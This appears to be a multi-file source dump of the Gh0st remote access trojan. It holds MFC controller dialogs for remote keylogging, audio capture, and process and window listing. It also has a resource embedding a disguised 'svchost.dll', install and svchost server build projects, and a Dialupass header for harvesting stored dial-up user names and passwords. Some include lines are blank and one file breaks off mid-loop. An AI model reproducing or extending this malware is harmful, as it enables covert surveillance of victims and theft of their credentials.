code_page(936) 22 | #endif //_WIN32 23 | 24 | ///////////////////////////////////////////////////////////////////////////// 25 | // 26 | // BIN 27 | // 28 | 29 | IDR_DLL BIN DISCARDABLE "res\\svchost.dll" 30 | 31 | #ifdef APSTUDIO_INVOKED 32 | ///////////////////////////////////////////////////////////////////////////// 33 | // 34 | // TEXTINCLUDE 35 | // 36 | 37 | 1 TEXTINCLUDE DISCARDABLE 38 | BEGIN 39 | "resource.h\0" 40 | END 41 | 42 | 2 TEXTINCLUDE DISCARDABLE 43 | BEGIN 44 | "#include ""afxres.h""\r\n" 45 | "\0" 46 | END 47 | 48 | 3 TEXTINCLUDE DISCARDABLE 49 | BEGIN 50 | "\r\n" 51 | "\0" 52 | END 53 | 54 | #endif // APSTUDIO_INVOKED 55 | 56 | #endif // Chinese (P.R.C.) resources 57 | ///////////////////////////////////////////////////////////////////////////// 58 | 59 | 60 | 61 | #ifndef APSTUDIO_INVOKED 62 | ///////////////////////////////////////////////////////////////////////////// 63 | // 64 | // Generated from the TEXTINCLUDE 3 resource. 65 | // 66 | 67 | 68 | ///////////////////////////////////////////////////////////////////////////// 69 | #endif // not APSTUDIO_INVOKED 70 | 71 | -------------------------------------------------------------------------------- /gh0st/AudioDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_AUDIODLG_H__996CA19E_64E4_4C8B_9A82_F5DED1FC66AB__INCLUDED_) 2 | #define AFX_AUDIODLG_H__996CA19E_64E4_4C8B_9A82_F5DED1FC66AB__INCLUDED_ 3 | 4 | #include "Audio.h" // Added by ClassView 5 | #if _MSC_VER > 1000 6 | #pragma once 7 | #endif // _MSC_VER > 1000 8 | // AudioDlg.h : header file 9 | // 10 | 11 | ///////////////////////////////////////////////////////////////////////////// 12 | // CAudioDlg dialog 13 | 14 | class CAudioDlg : public CDialog 15 | { 16 | // Construction 17 | public: 18 | CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor 19 | 20 | void OnReceiveComplete(); 21 | void OnReceive(); 22 | bool m_bIsWorking; 23 | CAudio m_Audio; 24 | // Dialog Data 25 | //{{AFX_DATA(CAudioDlg) 26 | enum { IDD = IDD_AUDIO }; 27 | BOOL m_bIsSendLocalAudio; 28 | //}}AFX_DATA 29 | 30 | 31 | // Overrides 32 | // ClassWizard generated virtual function overrides 33 | //{{AFX_VIRTUAL(CAudioDlg) 34 | protected: 35 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 36 | //}}AFX_VIRTUAL 37 | 38 | // Implementation 39 | protected: 40 | 41 | // Generated message map functions 42 | //{{AFX_MSG(CAudioDlg) 43 | virtual BOOL OnInitDialog(); 44 | afx_msg void OnClose(); 45 | afx_msg void OnSendLocalaudio(); 46 | //}}AFX_MSG 47 | DECLARE_MESSAGE_MAP() 48 | 49 | 50 | private: 51 | 52 | UINT m_nTotalRecvBytes; 53 | HICON m_hIcon; 54 | HANDLE m_hWorkThread; 55 | ClientContext* m_pContext; 56 | CIOCPServer* m_iocpServer; 57 | CString m_IPAddress; 58 | 59 | static DWORD WINAPI WorkThread(LPVOID lparam); 60 | }; 61 | 62 | //{{AFX_INSERT_LOCATION}} 63 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 64 | 65 | #endif // !defined(AFX_AUDIODLG_H__996CA19E_64E4_4C8B_9A82_F5DED1FC66AB__INCLUDED_) 66 | -------------------------------------------------------------------------------- /gh0st/TabSDIFrameWnd.h: -------------------------------------------------------------------------------- 1 | /********************************************************************** 2 | ** 3 | ** TabSDIFrameWnd.h : include file 4 | ** 5 | ** by Andrzej Markowski July 2005 6 | ** 7 | **********************************************************************/ 8 | 9 | #pragma once 10 | 11 | #if _MSC_VER > 1000 12 | #pragma once 13 | #endif // _MSC_VER > 1000 14 | #include "stdafx.h" 15 | #include "CustomTabCtrl.h" 16 | 17 | #define IDC_TABCTRL 100 18 | 19 | ///////////////////////////////////////////////////////////////////////////// 20 | // CTabSDIFrameWnd frame 21 | 22 | class CTabSDIFrameWnd : public CFrameWnd 23 | { 24 | DECLARE_DYNCREATE(CTabSDIFrameWnd) 25 | protected: 26 | CTabSDIFrameWnd(); // protected constructor used by dynamic creation 27 | 28 | // Attributes 29 | public: 30 | 31 | // Operations 32 | public: 33 | CCustomTabCtrl& GetTabCtrl() {return m_wndTab;} 34 | BOOL AddView(CString sLabel, CView* pView, CString sTooltip); 35 | void DeleteContents(); 36 | BOOL DeleteActiveView(); 37 | BOOL SetCurView(int nNdx); 38 | 39 | // Overrides 40 | // ClassWizard generated virtual function overrides 41 | //{{AFX_VIRTUAL(CTabSDIFrameWnd) 42 | //}}AFX_VIRTUAL 43 | 44 | // Implementation 45 | protected: 46 | virtual ~CTabSDIFrameWnd(); 47 | 48 | // Generated message map functions 49 | //{{AFX_MSG(CTabSDIFrameWnd) 50 | // NOTE - the ClassWizard will add and remove member functions here. 51 | //}}AFX_MSG 52 | afx_msg void OnSelchangeTabctrl(NMHDR* pNMHDR, LRESULT* pResult); 53 | afx_msg void OnClickTabctrl(NMHDR* pNMHDR, LRESULT* pResult); 54 | DECLARE_MESSAGE_MAP() 55 | protected: 56 | CCustomTabCtrl m_wndTab; 57 | }; 58 | 59 | ///////////////////////////////////////////////////////////////////////////// 60 | 61 | //{{AFX_INSERT_LOCATION}} 62 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 63 | 64 | -------------------------------------------------------------------------------- /gh0st/KeyBoardDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_) 2 | #define AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // KeyBoardDlg.h : header file 8 | // 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CKeyBoardDlg dialog 12 | 13 | class CKeyBoardDlg : public CDialog 14 | { 15 | // Construction 16 | public: 17 | void OnReceiveComplete(); 18 | CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor 19 | 20 | // Dialog Data 21 | //{{AFX_DATA(CKeyBoardDlg) 22 | enum { IDD = IDD_KEYBOARD }; 23 | CEdit m_edit; 24 | //}}AFX_DATA 25 | 26 | 27 | // Overrides 28 | // ClassWizard generated virtual function overrides 29 | //{{AFX_VIRTUAL(CKeyBoardDlg) 30 | public: 31 | virtual BOOL PreTranslateMessage(MSG* pMsg); 32 | protected: 33 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 34 | virtual void PostNcDestroy(); 35 | //}}AFX_VIRTUAL 36 | 37 | // Implementation 38 | protected: 39 | 40 | // Generated message map functions 41 | //{{AFX_MSG(CKeyBoardDlg) 42 | virtual BOOL OnInitDialog(); 43 | afx_msg void OnSysCommand(UINT nID, LPARAM lParam); 44 | afx_msg void OnClose(); 45 | afx_msg void OnSize(UINT nType, int cx, int cy); 46 | //}}AFX_MSG 47 | DECLARE_MESSAGE_MAP() 48 | 49 | private: 50 | bool SaveRecord(); 51 | void UpdateTitle(); 52 | void ResizeEdit(); 53 | void AddKeyBoardData(); 54 | HICON m_hIcon; 55 | ClientContext* m_pContext; 56 | CIOCPServer* m_iocpServer; 57 | CString m_IPAddress; 58 | bool m_bIsOfflineRecord; 59 | void SendException(); 60 | }; 61 | 62 | //{{AFX_INSERT_LOCATION}} 63 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 64 | 65 | #endif // !defined(AFX_KEYBOARDDLG_H__5CC31868_8DFD_4FDE_B3A6_7ADA94B0E765__INCLUDED_) 66 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/ModulVer.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // 1998 Microsoft Systems Journal 3 | // 4 | // If this code works, it was written by Paul DiLascia. 5 | // If not, I don't know who wrote it. 6 | // 7 | #ifndef __MODULEVER_H 8 | #define __MODULEVER_H 9 | 10 | #undef _INC_SHLWAPI 11 | #undef NOSHLWAPI 12 | #include 13 | 14 | // tell linker to link with version.lib for VerQueryValue, etc. 15 | #pragma comment(linker, "/defaultlib:version.lib") 16 | 17 | #ifndef DLLVER_PLATFORM_WINDOWS 18 | #error ModuleVer.h requires a newer version of the SDK than you have! 19 | #error Please update your SDK files. 20 | #endif 21 | 22 | ////////////////// 23 | // This class loads a library. Destructor frees for automatic cleanup. 24 | // 25 | class AFX_EXT_CLASS CLoadLibrary { 26 | private: 27 | HINSTANCE m_hinst; 28 | public: 29 | CLoadLibrary(LPCTSTR lpszName) : m_hinst(LoadLibrary(lpszName)) { } 30 | ~CLoadLibrary() { FreeLibrary(m_hinst); } 31 | operator HINSTANCE () { return m_hinst; } // cast operator 32 | }; 33 | 34 | ////////////////// 35 | // CModuleVersion version info about a module. 36 | // To use: 37 | // 38 | // CModuleVersion ver 39 | // if (ver.GetFileVersionInfo("_T("mymodule))) { 40 | // // info is in ver, you can call GetValue to get variable info like 41 | // CString s = ver.GetValue(_T("CompanyName")); 42 | // } 43 | // 44 | // You can also call the static fn DllGetVersion to get DLLVERSIONINFO. 45 | // 46 | class AFX_EXT_CLASS CModuleVersion : public VS_FIXEDFILEINFO { 47 | protected: 48 | BYTE* m_pVersionInfo; // all version info 49 | 50 | struct TRANSLATION { 51 | WORD langID; // language ID 52 | WORD charset; // character set (code page) 53 | } m_translation; 54 | 55 | public: 56 | CModuleVersion(); 57 | virtual ~CModuleVersion(); 58 | 59 | BOOL GetFileVersionInfo(LPCTSTR modulename); 60 | CString GetValue(LPCTSTR lpKeyName); 61 | static BOOL DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi); 62 | }; 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /common/CursorInfo.h: -------------------------------------------------------------------------------- 1 | // CursorInfo.h: interface for the CCursorInfo class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_) 6 | #define AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_ 7 | #include 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #define MAX_CURSOR_TYPE 16 13 | 14 | class CCursorInfo 15 | { 16 | private: 17 | LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE]; 18 | HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE]; 19 | 20 | public: 21 | CCursorInfo() 22 | { 23 | LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = 24 | { 25 | IDC_APPSTARTING, 26 | IDC_ARROW, 27 | IDC_CROSS, 28 | IDC_HAND, 29 | IDC_HELP, 30 | IDC_IBEAM, 31 | IDC_ICON, 32 | IDC_NO, 33 | IDC_SIZE, 34 | IDC_SIZEALL, 35 | IDC_SIZENESW, 36 | IDC_SIZENS, 37 | IDC_SIZENWSE, 38 | IDC_SIZEWE, 39 | IDC_UPARROW, 40 | IDC_WAIT 41 | }; 42 | 43 | for (int i = 0; i < MAX_CURSOR_TYPE; i++) 44 | { 45 | m_CursorResArray[i] = CursorResArray[i]; 46 | m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]); 47 | } 48 | } 49 | 50 | virtual ~CCursorInfo() 51 | { 52 | for (int i = 0; i < MAX_CURSOR_TYPE; i++) 53 | DestroyCursor(m_CursorHandleArray[i]); 54 | } 55 | 56 | 57 | int getCurrentCursorIndex() 58 | { 59 | CURSORINFO ci; 60 | ci.cbSize = sizeof(CURSORINFO); 61 | if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) 62 | return -1; 63 | 64 | 65 | for (int i = 0; i < MAX_CURSOR_TYPE; i++) 66 | { 67 | if (ci.hCursor == m_CursorHandleArray[i]) 68 | break; 69 | } 70 | DestroyCursor(ci.hCursor); 71 | 72 | int nIndex = i == MAX_CURSOR_TYPE ? -1 : i; 73 | return nIndex; 74 | } 75 | 76 | HCURSOR getCursorHandle( int nIndex ) 77 | { 78 | if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) 79 | return m_CursorHandleArray[nIndex]; 80 | else 81 | return NULL; 82 | } 83 | }; 84 | 85 | #endif // !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_) 86 | -------------------------------------------------------------------------------- /gh0st/TrayIcon.h: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////////////// 2 | // TrayIcon.h : header file 3 | // 4 | 5 | #ifndef _INCLUDED_TRAYICON_H_ 6 | #define _INCLUDED_TRAYICON_H_ 7 | 8 | ///////////////////////////////////////////////////////////////////////////// 9 | // CTrayIcon window 10 | 11 | class CTrayIcon : public CObject 12 | { 13 | // Construction/destruction 14 | public: 15 | CTrayIcon(); 16 | CTrayIcon(CWnd* pWnd, UINT uCallbackMessage, LPCTSTR szTip, HICON icon, UINT uID); 17 | virtual ~CTrayIcon(); 18 | 19 | // Operations 20 | public: 21 | BOOL Enabled() { return m_bEnabled; } 22 | BOOL Visible() { return !m_bHidden; } 23 | 24 | //Create the tray icon 25 | int Create(CWnd* pWnd, UINT uCallbackMessage, LPCTSTR szTip, HICON icon, UINT uID, BOOL bIsNotify = FALSE); 26 | 27 | //Change or retrieve the Tooltip text 28 | BOOL SetTooltipText(LPCTSTR pszTooltipText); 29 | BOOL SetTooltipText(UINT nID); 30 | CString GetTooltipText() const; 31 | 32 | //Change or retrieve the icon displayed 33 | BOOL SetIcon(HICON hIcon); 34 | BOOL SetIcon(LPCTSTR lpIconName); 35 | BOOL SetIcon(UINT nIDResource); 36 | BOOL SetStandardIcon(LPCTSTR lpIconName); 37 | BOOL SetStandardIcon(UINT nIDResource); 38 | HICON GetIcon() const; 39 | void HideIcon(); 40 | void ShowIcon(); 41 | void RemoveIcon(); 42 | void MoveToRight(); 43 | 44 | //Change or retrieve the window to send notification messages to 45 | BOOL SetNotificationWnd(CWnd* pNotifyWnd); 46 | CWnd* GetNotificationWnd() const; 47 | 48 | //Default handler for tray notification message 49 | virtual LRESULT OnTrayNotification(WPARAM uID, LPARAM lEvent); 50 | 51 | // Overrides 52 | // ClassWizard generated virtual function overrides 53 | //{{AFX_VIRTUAL(CTrayIcon) 54 | //}}AFX_VIRTUAL 55 | 56 | // Implementation 57 | protected: 58 | BOOL m_bEnabled; // does O/S support tray icon? 59 | BOOL m_bHidden; // Has the icon been hidden? 60 | BOOL m_bNotify; // Has Notify style? 61 | NOTIFYICONDATA m_tnd; 62 | 63 | DECLARE_DYNAMIC(CTrayIcon) 64 | }; 65 | 66 | 67 | #endif 68 | 69 | ///////////////////////////////////////////////////////////////////////////// 70 | -------------------------------------------------------------------------------- /gh0st/SystemDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_) 2 | #define AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // SystemDlg.h : header file 8 | // 9 | 10 | #define CListCtrl CCJListCtrl 11 | ///////////////////////////////////////////////////////////////////////////// 12 | // CSystemDlg dialog 13 | 14 | 15 | class CSystemDlg : public CDialog 16 | { 17 | // Construction 18 | public: 19 | CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor 20 | void OnReceiveComplete(); 21 | // Dialog Data 22 | //{{AFX_DATA(CSystemDlg) 23 | enum { IDD = IDD_SYSTEM }; 24 | CListCtrl m_list_dialupass; 25 | CListCtrl m_list_windows; 26 | CListCtrl m_list_process; 27 | CTabCtrl m_tab; 28 | //}}AFX_DATA 29 | 30 | 31 | // Overrides 32 | // ClassWizard generated virtual function overrides 33 | //{{AFX_VIRTUAL(CSystemDlg) 34 | public: 35 | virtual BOOL PreTranslateMessage(MSG* pMsg); 36 | protected: 37 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 38 | //}}AFX_VIRTUAL 39 | 40 | // Implementation 41 | protected: 42 | private: 43 | void AdjustList(); 44 | void ShowProcessList(); 45 | void ShowWindowsList(); 46 | void ShowDialupassList(); 47 | void ShowSelectWindow(); 48 | void GetProcessList(); 49 | void GetWindowsList(); 50 | void GetDialupassList(); 51 | HICON m_hIcon; 52 | ClientContext* m_pContext; 53 | CIOCPServer* m_iocpServer; 54 | // Generated message map functions 55 | //{{AFX_MSG(CSystemDlg) 56 | virtual BOOL OnInitDialog(); 57 | afx_msg void OnClose(); 58 | afx_msg void OnSize(UINT nType, int cx, int cy); 59 | afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult); 60 | afx_msg void OnKillprocess(); 61 | afx_msg void OnRefreshPsList(); 62 | afx_msg void OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult); 63 | //}}AFX_MSG 64 | 65 | DECLARE_MESSAGE_MAP() 66 | }; 67 | 68 | //{{AFX_INSERT_LOCATION}} 69 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 70 | 71 | #endif // !defined(AFX_SystemDlg_H__7A784A33_3CF5_4998_B9A1_1E1C11EF8EB2__INCLUDED_) 72 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/Subclass.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #ifndef _SUBCLASSW_H 7 | #define _SUBCLASSW_H 8 | 9 | ////////////////// 10 | // Generic class to hook messages on behalf of a CWnd. 11 | // Once hooked, all messages go to CSubclassWnd::WindowProc before going 12 | // to the window. Specific subclasses can trap messages and do something. 13 | // 14 | // To use: 15 | // 16 | // * Derive a class from CSubclassWnd. 17 | // 18 | // * Override CSubclassWnd::WindowProc to handle messages. Make sure you call 19 | // CSubclassWnd::WindowProc if you don't handle the message, or your 20 | // window will never get messages. If you write seperate message handlers, 21 | // you can call Default() to pass the message to the window. 22 | // 23 | // * Instantiate your derived class somewhere and call HookWindow(pWnd) 24 | // to hook your window, AFTER it has been created. 25 | // To unhook, call HookWindow(NULL). 26 | // 27 | // This is a very important class, crucial to many of the widgets Window 28 | // widgets implemented in PixieLib. To see how it works, look at the HOOK 29 | // sample program. 30 | // 31 | class CSubclassWnd : public CObject { 32 | public: 33 | DECLARE_DYNAMIC(CSubclassWnd); 34 | CSubclassWnd(); 35 | ~CSubclassWnd(); 36 | 37 | // Subclass a window. Hook(NULL) to unhook (automatic on WM_NCDESTROY) 38 | BOOL HookWindow(HWND hwnd); 39 | BOOL HookWindow(CWnd* pWnd) { return HookWindow(pWnd->GetSafeHwnd()); } 40 | BOOL IsHooked() { return m_hWnd!=NULL; } 41 | 42 | friend LRESULT CALLBACK HookWndProc(HWND, UINT, WPARAM, LPARAM); 43 | friend class CSubclassWndMap; 44 | 45 | #ifdef _DEBUG 46 | virtual void AssertValid() const; 47 | virtual void Dump(CDumpContext& dc) const; 48 | #endif 49 | 50 | protected: 51 | HWND m_hWnd; // the window hooked 52 | WNDPROC m_pOldWndProc; // ..and original window proc 53 | CSubclassWnd* m_pNext; // next in chain of hooks for this window 54 | 55 | // Override this to handle messages in specific handlers 56 | virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp); 57 | LRESULT Default(); // call this at the end of handler fns 58 | }; 59 | 60 | #endif // _SUBCLASSW_H 61 | 62 | -------------------------------------------------------------------------------- /gh0st/gh0stDoc.cpp: -------------------------------------------------------------------------------- 1 | // gh0stDoc.cpp : implementation of the CGh0stDoc class 2 | // 3 | 4 | #include "stdafx.h" 5 | #include "gh0st.h" 6 | #include "gh0stDoc.h" 7 | 8 | #include "MainFrm.h" 9 | 10 | #ifdef _DEBUG 11 | #define new DEBUG_NEW 12 | #undef THIS_FILE 13 | static char THIS_FILE[] = __FILE__; 14 | #endif 15 | 16 | ///////////////////////////////////////////////////////////////////////////// 17 | // CGh0stDoc 18 | 19 | IMPLEMENT_DYNCREATE(CGh0stDoc, CDocument) 20 | 21 | BEGIN_MESSAGE_MAP(CGh0stDoc, CDocument) 22 | //{{AFX_MSG_MAP(CGh0stDoc) 23 | // NOTE - the ClassWizard will add and remove mapping macros here. 24 | // DO NOT EDIT what you see in these blocks of generated code! 25 | //}}AFX_MSG_MAP 26 | END_MESSAGE_MAP() 27 | 28 | ///////////////////////////////////////////////////////////////////////////// 29 | // CGh0stDoc construction/destruction 30 | 31 | CGh0stDoc::CGh0stDoc() 32 | { 33 | // TODO: add one-time construction code here 34 | 35 | } 36 | 37 | CGh0stDoc::~CGh0stDoc() 38 | { 39 | } 40 | 41 | //DEL BOOL CGh0stDoc::OnNewDocument() 42 | //DEL { 43 | //DEL if (!CDocument::OnNewDocument()) 44 | //DEL return FALSE; 45 | //DEL 46 | //DEL // TODO: add reinitialization code here 47 | //DEL // (SDI documents will reuse this document) 48 | //DEL return TRUE; 49 | //DEL } 50 | 51 | 52 | 53 | ///////////////////////////////////////////////////////////////////////////// 54 | // CGh0stDoc serialization 55 | 56 | void CGh0stDoc::Serialize(CArchive& ar) 57 | { 58 | if (ar.IsStoring()) 59 | { 60 | // TODO: add storing code here 61 | } 62 | else 63 | { 64 | // TODO: add loading code here 65 | } 66 | } 67 | 68 | ///////////////////////////////////////////////////////////////////////////// 69 | // CGh0stDoc diagnostics 70 | 71 | #ifdef _DEBUG 72 | void CGh0stDoc::AssertValid() const 73 | { 74 | CDocument::AssertValid(); 75 | } 76 | 77 | void CGh0stDoc::Dump(CDumpContext& dc) const 78 | { 79 | CDocument::Dump(dc); 80 | } 81 | #endif //_DEBUG 82 | 83 | ///////////////////////////////////////////////////////////////////////////// 84 | // CGh0stDoc commands 85 | 86 | void CGh0stDoc::DeleteContents() 87 | { 88 | // TODO: Add your specialized code here and/or call the base class 89 | if(AfxGetApp()->m_pMainWnd) 90 | ((CMainFrame*)AfxGetApp()->m_pMainWnd)->DeleteContents(); 91 | CDocument::DeleteContents(); 92 | } 93 | -------------------------------------------------------------------------------- /gh0st/MainFrm.h: -------------------------------------------------------------------------------- 1 | // MainFrm.h : interface of the CMainFrame class 2 | // 3 | ///////////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_) 6 | #define AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_ 7 | 8 | #include "TrayIcon.h" // Added by ClassView 9 | #if _MSC_VER > 1000 10 | #pragma once 11 | #endif // _MSC_VER > 1000 12 | 13 | #include "TabSDIFrameWnd.h" 14 | 15 | #define CFrameWnd CTabSDIFrameWnd 16 | 17 | class CMainFrame : public CFrameWnd 18 | { 19 | 20 | protected: // create from serialization only 21 | CMainFrame(); 22 | DECLARE_DYNCREATE(CMainFrame) 23 | 24 | // Attributes 25 | public: 26 | 27 | // Operations 28 | public: 29 | 30 | // Overrides 31 | // ClassWizard generated virtual function overrides 32 | //{{AFX_VIRTUAL(CMainFrame) 33 | public: 34 | virtual BOOL PreCreateWindow(CREATESTRUCT& cs); 35 | //}}AFX_VIRTUAL 36 | 37 | // Implementation 38 | public: 39 | void ShowToolTips(LPCTSTR lpszText); 40 | void ShowConnectionsNumber(); 41 | static void ProcessReceiveComplete(ClientContext *pContext); 42 | static void ProcessReceive(ClientContext *pContext); 43 | void Activate(UINT nPort, UINT nMaxConnections); 44 | static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode); 45 | virtual ~CMainFrame(); 46 | #ifdef _DEBUG 47 | virtual void AssertValid() const; 48 | virtual void Dump(CDumpContext& dc) const; 49 | #endif //_DEBUG 50 | 51 | protected: // control bar embedded members 52 | CStatusBar m_wndStatusBar; 53 | 54 | // Generated message map functions 55 | protected: 56 | //{{AFX_MSG(CMainFrame) 57 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 58 | afx_msg void OnClose(); 59 | afx_msg void OnSysCommand(UINT nID, LPARAM lParam); 60 | afx_msg LRESULT OnTrayNotification(WPARAM wParam,LPARAM lParam); 61 | afx_msg void OnUpdateStatusBar(CCmdUI *pCmdUI); 62 | afx_msg void OnShow(); 63 | afx_msg void OnHide(); 64 | afx_msg void OnExit(); 65 | //}}AFX_MSG 66 | DECLARE_MESSAGE_MAP() 67 | private: 68 | CTrayIcon m_TrayIcon; 69 | }; 70 | 71 | ///////////////////////////////////////////////////////////////////////////// 72 | 73 | //{{AFX_INSERT_LOCATION}} 74 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 75 | 76 | #endif // !defined(AFX_MAINFRM_H__3F531B4D_21DF_49EA_B4AF_63AA5555104F__INCLUDED_) 77 | -------------------------------------------------------------------------------- /gh0st.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "gh0st", "gh0st\gh0st.vcxproj", "{64D26B66-8A59-0724-007F-9001C4F472A2}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "install", "Server\install\install.vcxproj", "{0228336A-2F4C-0D17-2E11-86654A1FAD8D}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "svchost", "Server\svchost\svchost.vcxproj", "{80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Console|Win32 = Console|Win32 13 | Release|Win32 = Release|Win32 14 | Template|Win32 = Template|Win32 15 | EndGlobalSection 16 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 17 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Console|Win32.ActiveCfg = Release|Win32 18 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Console|Win32.Build.0 = Release|Win32 19 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Release|Win32.ActiveCfg = Release|Win32 20 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Release|Win32.Build.0 = Release|Win32 21 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Template|Win32.ActiveCfg = Release|Win32 22 | {64D26B66-8A59-0724-007F-9001C4F472A2}.Template|Win32.Build.0 = Release|Win32 23 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Console|Win32.ActiveCfg = Template|Win32 24 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Console|Win32.Build.0 = Template|Win32 25 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Release|Win32.ActiveCfg = Release|Win32 26 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Release|Win32.Build.0 = Release|Win32 27 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Template|Win32.ActiveCfg = Template|Win32 28 | {0228336A-2F4C-0D17-2E11-86654A1FAD8D}.Template|Win32.Build.0 = Template|Win32 29 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Console|Win32.ActiveCfg = Console|Win32 30 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Console|Win32.Build.0 = Console|Win32 31 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Release|Win32.ActiveCfg = Release|Win32 32 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Release|Win32.Build.0 = Release|Win32 33 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Template|Win32.ActiveCfg = Template|Win32 34 | {80ABA1A7-0E3E-3DB2-8EB9-D4EE1C266504}.Template|Win32.Build.0 = Template|Win32 35 | EndGlobalSection 36 | GlobalSection(SolutionProperties) = preSolution 37 | HideSolutionNode = FALSE 38 | EndGlobalSection 39 | EndGlobal 40 | -------------------------------------------------------------------------------- /Server/svchost/common/Dialupass.h: -------------------------------------------------------------------------------- 1 | // Dialupass.h: interface for the CDialupass class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_) 6 | #define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #pragma comment(lib, "rasapi32.lib") 17 | 18 | #define STR_DialParamsUID 0 19 | #define STR_Name 1 20 | #define STR_User 2 21 | #define STR_Password 3 22 | #define STR_PhoneNumber 4 23 | #define STR_Device 5 24 | #define STR_MAX 6 25 | 26 | 27 | typedef struct 28 | { 29 | char UID[256]; 30 | char pass[256]; 31 | char login[256]; 32 | bool used; 33 | }PASSWORDS, *PPASSWORDS; 34 | 35 | class COneInfo{ 36 | private: 37 | char *Str[STR_MAX]; 38 | 39 | public: 40 | COneInfo(void) 41 | { 42 | for(int i=0;i 1000 10 | #pragma once 11 | #endif // _MSC_VER > 1000 12 | 13 | #define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers 14 | 15 | #include // MFC core and standard components 16 | #include // MFC extensions 17 | 18 | #ifndef _AFX_NO_OLE_SUPPORT 19 | #include 